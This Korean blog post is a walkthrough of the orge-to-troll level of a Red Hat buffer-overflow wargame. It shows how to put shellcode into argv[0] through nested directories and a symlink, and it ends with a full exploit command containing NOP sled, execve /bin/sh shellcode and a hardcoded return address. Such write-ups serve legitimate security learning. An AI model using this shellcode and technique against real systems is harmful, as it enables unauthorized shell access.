BOF redhat 원정대 orge -> troll

BOF redhat 원정대 orge -> troll

troll, troll.c


C 코드를 살펴보니 이전의 문제에서 argv[1]를 초기화 시키는 부분이 추가 되었다.
이전과 같이 RET는 쉽게 덮어 쓸수 있지만 쉘코드를 넣을 곳이 없다.
-에그쉘 불가, 버퍼초기화, argv[1]까지만 받을수 있고 이것도 초기화

남은 곳은 argv[0]이 있다. 이전문제에서 AAAA이름을 갖은 파일을 심볼릭링크로 만들어서 argv[0]의 길이를 맞추었다.
이번 문제에서는 심볼릭링크를 이용해서 argv[0]에 쉘코드를 넣을 수 있다.

내가 지금까지 사용한 24바이트짜리 쉘코드안에는 \x2f가 포함되어 있다. \x2f는 /로 심볼릭 링크를 걸 때 \x2f를 /로 읽어들여 에러를 발생 시킨다.
mkdir에 -p 옵션을 이용하여 디렉터리안에 디렉터리를 만들 수 있다. 이 옵션을 이용하여 쉘코드를 포함한 디렉터리 트리(?)를 만들수 있다.

mkdir -p `python -c 'print "\x41\x2f\x42\x2f\x43\x2f"'`

이런식으로 디렉터리를 만들게되면 A디렉터리 안(/)에 B디렉터리 안(/)에 C디렉터리가 만들어지는 식이다.
쉘코드를 포함한 디렉터리트리의 맨 마지막 디렉터리에 /home/orge/troll을 한번 더 심볼릭링크를 만들어 준다.

[orge@localhost  쉘코드의뒷부분일부]$ ll
llort -> troll

쉘코드를 포함하고 있는 디렉터리가 몇개가 되던 제일 마지막 디렉터리에서 절대경로를 이용해서 llort을 실행하면 argv[0]의 메모리에는 쉘코드가 올라간다.

페이로드의 구성은

[버퍼][SFP][RET].............[argv[0]]
[  버퍼   ][RET]...............[쉘코드]

/home/orge/shell/co/de/llort `python -c 'print "A"*44 + "RET"'`
이런식으로 쉘코드를 argv[0]에 위치에 올린다.

argv[0]의 주소를 출력하는 코드를 만들어서 위치를 찾아보자.


메인함수 실행되고 바로 출력하도록 추가 하였다. argc[0]을 맞추기가 번거로워서 그냥 저 주소에서 부터 수작업 부르트포싱으로 공격을 시도해 보았다.



금방 쉘을 얻을 수 있었다.

쉘코드 :
 /home/orge/$(python -c 'print "\x90"*50 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"')/llort `python -c 'print "A"*44 + "\x2e\xfb\xff\xbf"'`

0 개의 댓글:

댓글 쓰기